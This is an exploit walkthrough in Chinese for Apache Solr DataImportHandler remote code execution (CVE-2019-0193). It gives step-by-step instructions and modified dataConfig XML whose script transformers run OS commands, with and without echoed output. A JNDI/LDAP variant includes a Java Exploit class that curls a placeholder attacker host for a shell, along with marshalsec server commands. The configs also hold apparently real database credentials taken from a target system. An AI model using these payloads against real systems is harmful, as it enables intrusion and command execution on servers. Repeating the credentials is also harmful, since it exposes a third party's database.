/CVE-2019-0193

Apache Solr DataImportHandler RCE

CVE-2019-0193

Apache Solr DataImportHandler RCE

1.首先判读是否solr不需认证直接可访问后台(大多数均可访问)

2.判断是否存在collections

屏幕快照 2019-08-09 下午11.59.34

3.判断collections是否可以使用dataimport功能

sc_20190810000739

4.debug模式修改configuration

原:

<dataConfig>
  <dataSource  type="JdbcDataSource"
               driver="com.microsoft.sqlserver.jdbc.SQLServerDriver"
               url="jdbc:sqlserver://SqlServer;databaseName=TrainUpCore"
               user="pid.trainup"
               password="S@cram3nt0"
               readOnly="true"
              />


  <document name="TrainUpDoc">
  <entity name="Lo" query="select newid() id, * from CatalogSearch.Categories_LiveTrainingWithoutLocation order by ItemTitle">
                          <field column="ItemTitle" name="ItemTitle"/>
                          <field column="ItemCourseId" name="ItemCourseId"/>
                          <field column="ItemDescription" name="ItemDescription"/>
                          <field column="Price" name="ItemPrice"/>
                          <field column="ItemDurationType" name="ItemDurationType"/>
                          <field column="ItemDurationValue" name="ItemDurationValue"/>
                          <field column="typeItemCode" name="typeItemCode"/>
                          <field column="ProviderWeight" name="ProviderWeight"/>
                          <field column="ItemCatId" name="ItemCatId"/>
                          <field column="PublishedDate" name="PublishedDate"/>
                          <field column="ItemImageUrl" name="ItemImageUrl"/>
                          <field column="ItemTrainingRating" name="ItemTrainingRating"/>
                          <field column="#Row" name="#Row"/>
                          <field column="ItemCatImageUrl" name="ItemCatImageUrl"/>
                          <field column="ItemEventsno" name="ItemEventsno"/>
                          <field column="CourseWeight" name="CourseWeight"/>
                          <field column="CategoryRankScore" name="CategoryRankScore"/>
                          
  </entity>
  </document>
</dataConfig>

[1] 无回显 直接执行命令修改:

​ (1)在entity中添加transformer="script:f1",f1为函数名

​ (2)添加<script>内容

​ (3)execute with this configuration

<dataConfig>
  <dataSource  type="JdbcDataSource"
               driver="com.microsoft.sqlserver.jdbc.SQLServerDriver"
               url="jdbc:sqlserver://SqlServer;databaseName=TrainUpCore"
               user="pid.trainup"
               password="S@cram3nt0"
               readOnly="true"
              />
     <script><![CDATA[
        function f1(row){
        java.lang.Runtime.getRuntime().exec("powershell xxx");
        return row;
        }
    ]]></script>


  <document name="TrainUpDoc">
  <entity name="Lo" transformer="script:f1" query="select newid() id, * from CatalogSearch.Categories_LiveTrainingWithLocation order by ItemTitle">
                          <field column="ItemTitle" name="ItemTitle"/>
                          <field column="ItemCourseId" name="ItemCourseId"/>
                          <field column="ItemDescription" name="ItemDescription"/>
                          <field column="Price" name="ItemPrice"/>
                          <field column="ItemDurationType" name="ItemDurationType"/>
                          <field column="ItemDurationValue" name="ItemDurationValue"/>
                          <field column="typeItemCode" name="typeItemCode"/>
                          <field column="ProviderWeight" name="ProviderWeight"/>
                          <field column="ItemCatId" name="ItemCatId"/>
                          <field column="PublishedDate" name="PublishedDate"/>
                          <field column="ItemImageUrl" name="ItemImageUrl"/>
                          <field column="ItemTrainingRating" name="ItemTrainingRating"/>
                          <field column="#Row" name="#Row"/>
                          <field column="ItemCatImageUrl" name="ItemCatImageUrl"/>
                          <field column="ItemEventsno" name="ItemEventsno"/>
                          <field column="CityItemEventsno" name="CityItemEventsno"/>
                          <field column="StartDate" name="StartDate"/>
                          <field column="StartTime" name="StartTime"/>
                          <field column="TimeZone" name="TimeZone"/>
                          <field column="MarketCityID" name="MarketCityID"/>
                          <field column="ItemCity" name="ItemCity"/>
                          <field column="CourseWeight" name="CourseWeight"/>
                          <field column="CategoryRankScore" name="CategoryRankScore"/>
  </entity>
  </document>
</dataConfig>

sc_20190809202234

[2] 有回显 直接执行命令修改:

​ (1)在entity中添加transformer="script:f1",f1为函数名

​ (2)添加<script>内容,将执行回显输出到field的参数重,如id、ItemDescription,若不行则需结合managed-schema配置输出

​ (3)execute with this configuration

<dataConfig>
  <dataSource  type="JdbcDataSource"
               driver="com.microsoft.sqlserver.jdbc.SQLServerDriver"
               url="jdbc:sqlserver://SqlServer;databaseName=TrainUpCore"
               user="pid.trainup"
               password="S@cram3nt0"
               readOnly="true"
              />
	<script><![CDATA[
        function f1(row){
        row.put("id",new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream())).readLine());
        return row;
        }
    ]]></script>


  <document name="TrainUpDoc">
  <entity name="Lo" transformer="script:f1" query="select newid() id, * from CatalogSearch.Categories_LiveTrainingWithLocation order by ItemTitle">
                          <field column="ItemCourseId" name="id"/>
                          <field column="ItemDescription" name="ItemDescription"/>
                          <field column="Price" name="ItemPrice"/>
                          <field column="ItemDurationType" name="ItemDurationType"/>
                          <field column="ItemDurationValue" name="ItemDurationValue"/>
                          <field column="typeItemCode" name="typeItemCode"/>
                          <field column="ProviderWeight" name="ProviderWeight"/>
                          <field column="ItemCatId" name="ItemCatId"/>
                          <field column="PublishedDate" name="PublishedDate"/>
                          <field column="ItemImageUrl" name="ItemImageUrl"/>
                          <field column="ItemTrainingRating" name="ItemTrainingRating"/>
                          <field column="#Row" name="#Row"/>
                          <field column="ItemCatImageUrl" name="ItemCatImageUrl"/>
                          <field column="ItemEventsno" name="ItemEventsno"/>
                          <field column="CityItemEventsno" name="CityItemEventsno"/>
                          <field column="StartDate" name="StartDate"/>
                          <field column="StartTime" name="StartTime"/>
                          <field column="TimeZone" name="TimeZone"/>
                          <field column="MarketCityID" name="MarketCityID"/>
                          <field column="ItemCity" name="ItemCity"/>
                          <field column="CourseWeight" name="CourseWeight"/>
                          <field column="CategoryRankScore" name="CategoryRankScore"/>
  </entity>
  </document>
</dataConfig>

sc_20190810022942

[3] JNDI+LDAP(无需目标的CLASSPATH存在数据库驱动):

​ (1)修改configuration内容

<dataConfig>
	<dataSource type="JdbcDataSource"
		jndiName="ldap://xxx.xxx.xxx.xxx:1389/Exploit"/>
	<document>
		<entity name="test">
		</entity>
	</document>	
</dataConfig>

​ (2)hackserver

Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.*;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        try {
            Runtime.getRuntime().exec("curl http://xxx.xxx.xxx.xxx:1212/getshell");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }
}

JDK 高版本会限制远程codebase 加载,期待1.8以下

javac --release 7 Exploit.java

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndiDAPRefServer http://xxx.xxx.xxx.xxx:8888/#Exploit 1389

python3 -m http.server 8888

​ (3)execute with this configuration

5